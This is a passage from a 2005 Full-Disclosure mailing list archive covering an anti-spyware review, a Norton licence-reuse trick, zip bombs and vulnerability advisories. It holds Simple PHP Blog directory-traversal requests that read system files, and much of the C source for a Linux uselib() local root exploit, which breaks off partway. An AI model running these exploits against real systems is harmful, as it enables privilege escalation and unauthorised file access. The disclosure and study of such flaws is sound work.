3) The Code
===========

An online proof of concept can be found at:
http://theinsider.deep-ice.com/hki156gb.ARC

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."



From pwicks at oxygen.com  Fri Jan  7 04:28:40 2005
From: pwicks at oxygen.com (James Patterson Wicks)
Date: Thu, 6 Jan 2005 23:28:40 -0500
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions
Message-ID: <3AF76382C31760418AF0FBFD84F714035D06D0@MI8NYCMAIL07.Mi8.com>

We knew that Microsoft was going to put out an anti-spyware product
after they bought Giant in December, but I did not figure they could
re-brand Giant's software in under a month.  Their first shot at
anti-spyware came out today - Microsoft AntiSpyware (Beta).  I installed
it on a test machine that I have in the office.  Just to be safe, I ran
a full Spybot S&D scan and then uninstalled the resident TEA program
since Microsoft AntiSpyware will install an agent if you so wish.  The
only part of the installation that was strange was the "recommended"
option of joining the "Spynet AntiSpyware Community" their 'Spyware
Neighborhood Watch' that connects you to other computers running the
Microsoft AntiSpyware software.  Don't know how many people will choose
that option, but to me it does not make sense to connect to a
peer-to-peer network of infected computers, encrypted traffic or not.

 

I ran a full system scan and to my surprise, the software found some old
Timbuktu and Dameware DLL's that I thought were uninstalled a year ago.
Were the files harmful?  The tool stated that the Dameware files were
low risk, but the Timbuktu files were high risk.  The tool also found
"iLookup.GlobalWebSearch Browser Hijacker", "StartNow Hyperbar Toolbar"
and a bunch of "MiniBug" instances.  I was somewhat surprised since my
machine was "clean" already.  I then set up two lab desktops and applied
the same clean image on both of them (no anti-virus or firewall
installed).  I then used IE to surf to the first ten sites Google
brought up when searching for "online gambling" sites.  I then ran full
system scans using Microsoft AntiSpyware on one desktop and Spybot S&D
on the other machine.  Spybot found 65 objects, the Microsoft tool found
92 objects.  The results were similar except that the Microsoft tool
found a few more cookies, a bunch of minibugs and something called
"SearchSquire."  

 

While this was just a quick test to satisfy my curiosity about the
Microsoft tool, my initial feeling is that the Microsoft AntiSpyware is
worth a test deployment in the office.  This beta expires in July.
Hopefully the final version will be free and allow for centralized
domain management.  It's the least that Microsoft can do.

 

 

 

Pat Wicks

Systems and Network Engineer


This e-mail is the property of Oxygen Media, LLC.  It is intended only for the person or entity to which it is addressed and may contain information that is privileged, confidential, or otherwise protected from disclosure. Distribution or copying of this e-mail or the information contained herein by anyone other than the intended recipient is prohibited. If you have received this e-mail in error, please immediately notify us by sending an e-mail to postmaster at oxygen.com and destroy all electronic and paper copies of this e-mail.

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/4ee26610/attachment.html 

From b.griffin at cqu.edu.au  Fri Jan  7 06:04:26 2005
From: b.griffin at cqu.edu.au (Brad Griffin)
Date: Fri, 7 Jan 2005 16:04:26 +1000
Subject: [Full-Disclosure] hackers hacking hackers wtf?
Message-ID: <E924F679D556A345B865717377DCDFC4036F0877@ROKEMAIL.staff.ad.cqu.edu.au>

 Perhaps the 'hacker hackers' should learn correct grammar and spelling
before attempting to ridicule others...

-----Original Message-----
Subject: RE: [Full-Disclosure] hackers hacking hackers wtf?


The website is down....
But you can still see the hacked page at Google cache...

http://www.google.com/search?q=cache:CVM90YJzWcoJ:www.boobys.org/+&hl=en
&lr=
lang_en|lang_iw

Pay attention to section [6]...:p


-----Original Message-----
From: jonny be good [mailto:blackhat_information at yahoo.com]
Sent: Saturday, January 01, 2005 4:43 PM
To: full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] hackers hacking hackers wtf?

They call it Project Hatem, their aim to take down as many Whitehat
Security sites as they can. 
They do not believe in full disclosure, and do not believe the moral
values of the Whitehats. All they believe in is power and destruction.

Well guess what? They got hacked also :P

Check it out:  http://boobys.org



		
__________________________________
Do you Yahoo!? 
Yahoo! Mail - Find what you need with new enhanced search.
http://info.mail.yahoo.com/mail_250
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

--
No virus found in this incoming message.
Checked by AVG Anti-Virus.
Version: 7.0.296 / Virus Database: 265.6.7 - Release Date: 12/30/2004
 

-- 
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.296 / Virus Database: 265.6.7 - Release Date: 12/30/2004
 
************************************************************************
**************************
The contents of this email and any attachments are confidential.
They are intended for the named recipient(s) only.
If you have received this email in error please notify the system
manager or  the 
sender immediately and do not disclose the contents to anyone or make
copies.

** eSafe scanned this email for viruses, vandals and malicious content.
**
************************************************************************
**************************
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html





From b.griffin at cqu.edu.au  Fri Jan  7 06:17:57 2005
From: b.griffin at cqu.edu.au (Brad Griffin)
Date: Fri, 7 Jan 2005 16:17:57 +1000
Subject: [Full-Disclosure] Trivial Bug in Symantec Security Products
Message-ID: <E924F679D556A345B865717377DCDFC4036F0878@ROKEMAIL.staff.ad.cqu.edu.au>

 

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Gregh
Sent: Tuesday, January 04, 2005 6:33 AM
To: Disclosure Full
Subject: Re: [Full-Disclosure] Trivial Bug in Symantec Security Products



> 
> Somehow, Symantec engineers have not implemented a mechanism to
disallow a
> user from installing the patches via changing the date on their
computer
> back to when the original program was installed and then running the
> "Intelligent Updater." 

****
You think THAT is bad? Up till NIS2005 which I haven't tested so cant
say if it does or doesn't, you could install Nortons, run the year and
then wipe your machine and reinstall all then install Nortons again and
get yet another full year licence without paying a cent, over and over
and over. In short, buy once and never pay again.

Greg.
****

Well, yep. How exactly would you expect to implement a block if the
system sees the software as being installed for the first time? I guess
you must be thinking along the lines of "shouldn't Symantec place a date
check in the installer so that if the software is for example two years
old, it will not install period?" However, in the case of OEM software,
this could end up being an issue for those who buy old stock items, or
are buying end of run OEM systems.

Sil's comment relates to something that can be fixed easily with little
or no issues for legitimate users.


Cheers,
Gryph



From aditya.deshmukh at online.gateway.expertworks.net  Fri Jan  7 07:05:21 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Fri, 7 Jan 2005 12:35:21 +0530
Subject: [Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB
In-Reply-To: <001001c4f445$d4fe1a80$f85ab350@noone>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAls0cVIBQhUaDZ92aFcr4ywEAAAAA@online.gateway.expertworks.net>

 
>Subject: [Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB


These attacks have been possible in almost all kinds of compresses file
formats and have been known for years - I think it is know as zip
bombing.... This is not limited to this perticular tool or format. 



From dilabox at gmail.com  Fri Jan  7 08:25:50 2005
From: dilabox at gmail.com (dila)
Date: Fri, 7 Jan 2005 08:25:50 +0000
Subject: [Full-Disclosure] Any study on patch availability?
In-Reply-To: <Pine.LNX.4.58.0412261225070.15953@tux>
References: <Pine.LNX.4.58.0412261225070.15953@tux>
Message-ID: <ad629b82050107002553fe2240@mail.gmail.com>

http://secunia.com/advisory_statistics/

ever heard of google?


On Sun, 26 Dec 2004 12:26:17 -0500 (EST),
sudhakar+fulldisclosure at cs.princeton.edu
<sudhakar+fulldisclosure at cs.princeton.edu> wrote:
> 
> Hi all,
> 
> Holiday season greetings.
> 
> I am a PhD student at Princeton studying security. I am interested in
> studying vulnerability statistics. I am interested in answering questions
> like:
> 
> 1. Which are the programs where bugs are found often?
> 
> 2. Which vendors tend to be frequently affected?
> 
> 3. What are the common vulnerabilities (buffer overflows I guess)?
> 
> 4. How often are patches available before a vulnerability is publicly
> disclosed?
> 
> 5. How much time does it take for a typical vendor to patch the bug?
> How
> diligent are various vendors regarding releasing patches?
> 
> 6. What are the OS specific statistics?
> 
> 7. How diligent are users/administrators regarding patching? In some cases
> there might be genuine reasons why you cannot patch (loss of availability
> etc.). I am aware of "Security holes... Who cares?" by Eric Rescorla.
> 
> 8. Have there been situations when a patch has not been available for a
> long time, say more than a month.
> 
> .
> .
> .
> .
> .
> 
> I am primarily interested in seeing how fast the patches are out. I am
> more interested in knowing about those situations when a patch is not
> available fast. What did people do to avoid getting hit? I would
> appreciate some concrete examples. So I am mostly interested in questions
> 4, 5, and 8.
> 
> Has someone already studied these patterns? Can the community refer me to
> some useful links? I would appreciate concrete examples and a quantitative
> analysis. I have talked to a few system administrators. But I am confused
> whether patch availability is indeed a problem. Unfortunately, the answer
> is specific to what software you are running and the answer tends to be
> subjective.
> 
> Thanks in advance,
> Regards,
> Sudhakar.
> 
> Sudhakar Govindavajhala                   Department of Computer Science
> Graduate Student,                         Princeton University
> Ph : (lab) +1 609 258 1763                   (office) +1 609 258 1798
>                http://www.cs.princeton.edu/~sudhakar
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>


From irfan.syed at guoco.com  Fri Jan  7 09:57:55 2005
From: irfan.syed at guoco.com (irfan.syed at guoco.com)
Date: Fri, 7 Jan 2005 17:57:55 +0800
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions
Message-ID: <OF25647610.14594DD0-ON48256F82.003623C4@guoco.com>

Yeah I tried it too, and the only thing it found on my PC was VNC server.
I was, however, impressed that the tool explained very well what the
program was for and how it could be used for spying.
 
Definitely worth a try.
 
PS: VNC on my machine is not accessible from outside, so don't even think
to hack me ;)
 
Cheers,
Irfan
 
 
-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of James
Patterson Wicks
Sent: Friday, January 07, 2005 12:29 PM
To: full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions



We knew that Microsoft was going to put out an anti-spyware product after
they bought Giant in December, but I did not figure they could re-brand
Giant's software in under a month.  Their first shot at anti-spyware came
out today - Microsoft AntiSpyware (Beta).  I installed it on a test
machine that I have in the office.  Just to be safe, I ran a full Spybot
S&D scan and then uninstalled the resident TEA program since Microsoft
AntiSpyware will install an agent if you so wish.  The only part of the
installation that was strange was the "recommended" option of joining the
"Spynet AntiSpyware Community" their 'Spyware Neighborhood Watch' that
connects you to other computers running the Microsoft AntiSpyware
software.  Don't know how many people will choose that option, but to me
it does not make sense to connect to a peer-to-peer network of infected
computers, encrypted traffic or not.

 

I ran a full system scan and to my surprise, the software found some old
Timbuktu and Dameware DLL's that I thought were uninstalled a year ago.
Were the files harmful?  The tool stated that the Dameware files were low
risk, but the Timbuktu files were high risk.  The tool also found
"iLookup.GlobalWebSearch Browser Hijacker", "StartNow Hyperbar Toolbar"
and a bunch of "MiniBug" instances.  I was somewhat surprised since my
machine was "clean" already.  I then set up two lab desktops and applied
the same clean image on both of them (no anti-virus or firewall
installed).  I then used IE to surf to the first ten sites Google brought
up when searching for "online gambling" sites.  I then ran full system
scans using Microsoft AntiSpyware on one desktop and Spybot S&D on the
other machine.  Spybot found 65 objects, the Microsoft tool found 92
objects.  The results were similar except that the Microsoft tool found a
few more cookies, a bunch of minibugs and something called "SearchSquire."


 

While this was just a quick test to satisfy my curiosity about the
Microsoft tool, my initial feeling is that the Microsoft AntiSpyware is
worth a test deployment in the office.  This beta expires in July.
Hopefully the final version will be free and allow for centralized domain
management.  It's the least that Microsoft can do.

 

 

 

Pat Wicks

Systems and Network Engineer

This e-mail is the property of Oxygen Media, LLC. It is intended only for
the person or entity to which it is addressed and may contain information
that is privileged, confidential, or otherwise protected from disclosure.
Distribution or copying of this e-mail or the information contained herein
by anyone other than the intended recipient is prohibited. If you have
received this e-mail in error, please immediately notify us by sending an
e-mail to postmaster at oxygen.com and destroy all electronic and paper
copies of this e-mail.



-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/b260a083/attachment.html 

From madelman at iname.com  Fri Jan  7 11:43:27 2005
From: madelman at iname.com (Madelman)
Date: Fri, 07 Jan 2005 12:43:27 +0100
Subject: [Full-Disclosure] Simple PHP Blog directory traversal vulnerability
Message-ID: <41DE75DF.1030808@iname.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Title: Simple PHP Blog directory traversal vulnerability
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 02/01/2005
Severity: Moderate

Summary:
- --------

I started this project because I wanted a dead-simple blog. Something
that didn't require a database, used flat text files, and looked nice.

The main advantage of using Simple PHP Blog is that it only requires PHP
4 (or greater) and write permission on the server. Unlike other blog
software, there is almost no setup - just unzip and copy...
(from vendor site: http://www.bigevilbrain.com/sphpblog/)

SPHPBlog doesn't check the entry parameter which allows directory traversal

This vulnerability has been tested with SPHPBlog 0.3.7c


Details:
- --------

We can read any file with TXT extension (in this example /etc/X11/rgb.txt)

REQUEST:
http://[SERVER]/sphpblog/comments.php?y=05&m=01&entry=../../../../../../../etc/X11/rgb

returns the content of the file


We can create arbitrary folders in the filesystem and the content of the
post will be saved in this folder.

To create folder http://[SERVER]/sphpblog/createdir/

REQUEST (this must be a POST request and we must modify entry parameter):
http://[SERVER]/sphpblog/comment_add_cgi.php
~    entry=../../../createdir


Solution
- --------

Update to latest version (at this moment 0.3.7r2)


Timeline
- --------

02/01/2005 - Vulnerability found
02/01/2005 - Vendor contacted
02/01/2005 - Vendor confirmed and implemented a patch for the first vuln
04/01/2005 - Vendor implemented a patch for the second vuln
07/01/2005 - Advisory released
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFB3nXf3RWooxY20cIRAo1gAJ4zAa8W9sthSPOtbs8tKMj/HgDWHwCdGbf/
/x7WTmTzJDdLNpSKSuyPEgc=
=uNOC
-----END PGP SIGNATURE-----


From ihaquer at isec.pl  Fri Jan  7 11:46:18 2005
From: ihaquer at isec.pl (Paul Starzetz)
Date: Fri, 7 Jan 2005 12:46:18 +0100 (CET)
Subject: [Full-Disclosure] Linux kernel sys_uselib local root vulnerability
Message-ID: <Pine.LNX.4.44.0501071239510.2904-200000@isec.pl>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi all,

first of all I must comply about the handling of this vulnerability that I
reported to vendorsec. Obviously my code posted there has been stolen and
plagiated by Stefan Esser from Ematters. The posting containing the
plagiate will follow. Now I have been forced to release the full advisory
however another disclosure timeline have been agreed on vendorsec. Sorry
for the inconvenience.

- ---------------------------------------------------------------------------

Synopsis:  Linux kernel uselib() privilege elevation
Product:   Linux kernel
Version:   2.4 up to and including 2.4.29-rc2, 2.6 up to and including 2.6.10
Vendor:    http://www.kernel.org/
URL:       http://isec.pl/vulnerabilities/isec-0021-uselib.txt
CVE:       CAN-2004-1235
Author:    Paul Starzetz <ihaquer at isec.pl>
Date:      Jan 07, 2005


Issue:
======

Locally  exploitable  flaws  have  been found in the Linux binary format
loaders'  uselib()  functions  that  allow  local  users  to  gain  root
privileges.


Details:
========

The Linux kernel provides a binary format loader layer to load (execute)
programs of different binary formats like ELF or  a.out  and  more.  The
kernel   also   provides   a  function  named  sys_uselib()  to  load  a
corresponding library.  This  function  is  dispatched  to  the  current
process's binary format handler and is basicaly a simplified mmap() code
coupled with some header parsing code.

An analyse of the uselib function load_elf_library()  from  binfmt_elf.c
revealed a flaw in the handling of the library's brk segment (VMA). That
segment is created with the  current->mm->mmap_sem  semaphore  NOT  held
while  modyfying  the  memory layout of the calling process. This can be
used to disturb the memory management and gain elevated privileges. Also
the binfmt_aout binary format loader code is affected in the same way.


Discussion:
=============

The  vulnerable  code  resides  for  example  in fs/binfmt_elf.c in your
kernel source code tree:

static int load_elf_library(struct file *file)
{
[904]  down_write(&current->mm->mmap_sem);
       error = do_mmap(file,
                     ELF_PAGESTART(elf_phdata->p_vaddr),
                     (elf_phdata->p_filesz +
                      ELF_PAGEOFFSET(elf_phdata->p_vaddr)),
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
                     (elf_phdata->p_offset -
                      ELF_PAGEOFFSET(elf_phdata->p_vaddr)));
       up_write(&current->mm->mmap_sem);
       if (error != ELF_PAGESTART(elf_phdata->p_vaddr))
              goto out_free_ph;

       elf_bss = elf_phdata->p_vaddr + elf_phdata->p_filesz;
       padzero(elf_bss);

       len = ELF_PAGESTART(elf_phdata->p_filesz + elf_phdata->p_vaddr + ELF_MIN_ALIGN - 1);
       bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
       if (bss > len)
              do_brk(len, bss - len);

The line numbers are all valid for the 2.4.28 kernel version. As can  be
seen  the  mmap_sem  is  released  prior to calling do_brk() in order to
create the data section of the ELF library. On the other  hand,  looking
into  the code of sys_brk() from mm/mmap.c reveals that do_brk() must be
called with the semaphore held.

A short look into the code of do_brk() shows that:

[1094] vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL);
       if (!vma)
              return -ENOMEM;

       vma->vm_mm = mm;
       vma->vm_start = addr;
       vma->vm_end = addr + len;
       vma->vm_flags = flags;
       vma->vm_page_prot = protection_map[flags & 0x0f];
       vma->vm_ops = NULL;
       vma->vm_pgoff = 0;
       vma->vm_file = NULL;
       vma->vm_private_data = NULL;

       vma_link(mm, vma, prev, rb_link, rb_parent);

where   rb_link   and   rb_parent   were   both   found    by    calling
find_vma_prepare().  Obviously,  if  the kmem_cache_alloc() call sleeps,
the newly created VMA descriptor  may  be  inserted  at  wrong  position
because the process's VMA list and the VMA RB-tree may have been changed
by another thread. This is absolutely enough to gain root privileges.

We  have  found  at  least  three  different  ways   to   exploit   this
vulnerability.  The  race condition can be easily won by consuming a big
amount of memory. A proof  of  concept  code  exists  but  will  not  be
released yet.


Impact:
=======

Unprivileged local users can gain elevated (root) privileges.


Credits:
========

Paul  Starzetz  <ihaquer at isec.pl>  has  identified the vulnerability and
performed further research. COPYING, DISTRIBUTION, AND  MODIFICATION  OF
INFORMATION  PRESENTED  HERE  IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.


Disclaimer:
===========

This document and all the information it contains are provided "as  is",
for  educational  purposes  only,  without warranty of any kind, whether
express or implied.

The authors reserve the right not to be responsible for the  topicality,
correctness,  completeness  or  quality  of the information  provided in
this document. Liability claims regarding damage caused by  the  use  of
any  information  provided,  including  any kind of information which is
incomplete or incorrect, will therefore be rejected.


Appendix:
=========

Code attached.

- ------------------------------------------------------------------------

- -- 
Paul Starzetz
iSEC Security Research
http://isec.pl/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFB3naPC+8U3Z5wpu4RAqi6AKCmSe50fEBcKB5TVygGEVuy3Gz1LwCeNPr5
+lKciODPNWQvg829jcx3Lvk=
=CRPn
-----END PGP SIGNATURE-----

-------------- next part --------------
/*
 *	binfmt_elf uselib VMA insert race vulnerability
 *	v1.08
 *
 *	gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
 *
 *	Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */


#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>

#include <linux/elf.h>
#include <linux/linkage.h>

#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>

#define str(s) #s
#define xstr(s) str(s)

#define MREMAP_MAYMOVE  1


//	temp lib location
#define LIBNAME 	"/dev/shm/_elf_lib"

//	shell name
#define	SHELL		"/bin/bash"

//	time delta to detect race
#define RACEDELTA	5000

//	if you have more deadbabes in memory, change this
#define MAGIC		0xdeadbabe


//	do not touch
#define	SLAB_THRSH	128
#define	SLAB_PER_CHLD	(INT_MAX - 1)
#define LIB_SIZE	( PAGE_SIZE * 4 )
#define STACK_SIZE	( PAGE_SIZE * 4 )

#define LDT_PAGES	( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )

#define ENTRY_GATE	( LDT_ENTRIES-1 )
#define SEL_GATE	( (ENTRY_GATE<<3)|0x07 )

#define ENTRY_LCS	( ENTRY_GATE-2 )
#define SEL_LCS		( (ENTRY_LCS<<3)|0x04 )

#define ENTRY_LDS	( ENTRY_GATE-1 )
#define SEL_LDS		( (ENTRY_LDS<<3)|0x04 )

#define kB		* 1024
#define MB		* 1024 kB
#define GB		* 1024 MB

#define TMPLEN		256
#define PGD_SIZE	( PAGE_SIZE*1024 )


extern char **environ;

static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];


static volatile int
	val = 0,
	go = 0,
	finish = 0,
	scnt = 0,
	ccnt=0,
	delta = 0,
	delta_max = RACEDELTA,
	map_flags = PROT_WRITE|PROT_READ;


static int
	fstop=0,
	silent=0,
	pidx,
	pnum=0,
	smp_max=0,
	smp,
	wtime=2,
	cpid,
	uid,
	task_size,
	old_esp,
	lib_addr,
	map_count=0,
	map_base=0,
	map_addr,
	addr_min,
	addr_max,
	vma_start,
	vma_end,
	max_page;


static struct timeval tm1, tm2;

static char *myenv[] = {"TERM=vt100",
			"HISTFILE=/dev/null",
			NULL};

static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
                         "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";


static char *pagemap, *libname=LIBNAME, *shellname=SHELL;



#define __NR_sys_gettimeofday	__NR_gettimeofday
#define __NR_sys_sched_yield	__NR_sched_yield
#define __NR_sys_madvise	__NR_madvise
#define __NR_sys_uselib		__NR_uselib
#define __NR_sys_mmap2		__NR_mmap2
#define __NR_sys_munmap		__NR_munmap
#define __NR_sys_mprotect	__NR_mprotect
#define __NR_sys_mremap		__NR_mremap

inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);

inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);

inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );

inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);

inline _syscall1(int, sys_uselib, char*, l);

inline _syscall0(void, sys_sched_yield);



inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;

	r=t2->tv_sec - t1->tv_sec;
	r*=1000000;
	r+=t2->tv_usec - t1->tv_usec;
return r;
}


void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);

	if(!errno) {
		fprintf(stdout, "\n[-] FAILED: %s ", message);
	} else {
		fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
			(char*) (strerror(errno)) );
	}
	if(critical)
		printf("\nCRITICAL, entering endless loop");
	printf("\n");
	fflush(stdout);

	unlink(libname);
	kill(cpid, SIGKILL);
	for(;;) kill(0, sig);
}


//	try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
	finish=1;

	for(;;) {
		errno = 0;

//	check if raced:
recheck:
		if(!go) sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if(!smp_max && delta < (unsigned)delta_max) goto recheck;
		smp = smp_max;

//	check if lib VMAs exist as expected under race condition
recheck2:
		val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
		if(val) continue;
		errno = 0;
		val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
				LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
		if( !val || (val<0 && errno!=ENOMEM) ) continue;

//	SMP?
		smp--;
		if(smp>=0) goto recheck2;

//	recheck race
		if(!go) continue;
		finish++;

//	we need to free one vm_area_struct for mmap to work
		val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
		if(val) fatal("mprotect", 0);
		val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
			      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
		if(-1==val) fatal("mmap2 race", 0);
		printf("\n[+] race won maps=%d", map_count); fflush(stdout);
		_exit(0);
	}

return 0;
}


int callme_1()
{
	return val++;
}


inline int valid_ptr(unsigned ptr)
{
	return ptr>=task_size && ptr<addr_min-16;
}


inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;

	if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
		t=(unsigned*)p[3];
		if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
			return 1;
	}
	return 0;
}


asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;

//	find & reset uids
	while(addr[0] != uid || addr[1] != uid ||
	      addr[2] != uid || addr[3] != uid)
		addr++;

	addr[0] = addr[0] = addr[2] = addr[3] = 0;
	addr[4] = addr[5] = addr[6] = addr[7] = 0;

//	find & correct VMA
	for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
		if( validate_vma(addr, vma_start, vma_end) ) {
			addr[1] = task_size - PAGE_SIZE;
			addr[2] = task_size;
			break;
		}
	}
}


void kcode(void);


void __kcode(void)
{
asm(
	"kcode:						\n"
	"	pusha					\n"
	"	pushl	%es				\n"
	"	pushl	%ds				\n"
	"	movl	$(" xstr(SEL_LDS) ") ,%edx	\n"
	"	movl	%edx,%es			\n"
	"	movl	%edx,%ds			\n"
	"	movl	$0xffffe000,%eax		\n"
	"	andl	%esp,%eax			\n"
	"	pushl	%eax				\n"
	"	call	kernel_code			\n"
	"	addl	$4, %esp			\n"
	"	popl	%ds				\n"
	"	popl	%es				\n"
	"	popa					\n"
	"	lret					\n"
    );
}


int callme_2()
{
	return val + task_size + addr_min;
}


void sigfailed(int v)
{
	ccnt++;
	fatal("lcall", 1);
}


//	modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;

	printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
	unlink(libname);

	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
	if(r) fatal("mprotect 1", 1);

//	check if really LDT
	v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
	signal(SIGSEGV, sigfailed);
	r = *v;
	if(r != MAGIC) {
		printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
		fatal("find LDT", 1);
	}

//	yeah, setup CPL0 gate
	v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
	v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
	printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);

//	setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
	v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
	v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
	v[1] = 0x00cf9b00;

	v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
	v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
	v[1] = 0x00cf9300;

//	reprotect to get only one big VMA
	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
	if(r) fatal("mprotect 2", 1);

//	CPL0 transition
	sys_sched_yield();
	val = callme_1() + callme_2();
	asm("lcall $" xstr(SEL_GATE) ",$0x0");
	if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
		printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
	} else {
		printf("\n[-] uid change failed" ); fflush(stdout);
		sigfailed(0);
	}
	signal(SIGTERM, SIG_IGN);
	kill(0, SIGTERM);
	execl(shellname, "sh", NULL);
	fatal("execl", 0);
}


void scan_mm_finish();
void scan_mm_start();


//	kernel page table scan code
void scan_mm()
{
	map_addr -= PAGE_SIZE;
	if(map_addr <= (unsigned)addr_min)
		scan_mm_start();

	scnt=0;
	val = *(int*)map_addr;
	scan_mm_finish();
}


void scan_mm_finish()
{
retry:
	__asm__("movl	%0, %%esp" : :"m"(old_esp) );

	if(scnt) {
		pagemap[pidx] ^= 1;
	}
	else {
		sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
	}
	pidx--;
	scan_mm();
	goto retry;
}


//	make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;

	pnum++;
	if(pnum==1) {
		pidx = max_page-1;
	}
	else if(pnum==2) {
		memset(&l, 0, sizeof(l));
		l.entry_number = LDT_ENTRIES-1;
		l.seg_32bit = 1;
		l.base_addr = MAGIC >> 16;
		l.limit = MAGIC & 0xffff;
		l.limit_in_pages = 1;
		if( modify_ldt(1, &l, sizeof(l)) != 0 )
			fatal("modify_ldt", 1);
		pidx = max_page-1;
	}
	else if(pnum==3) {
		npg=0;
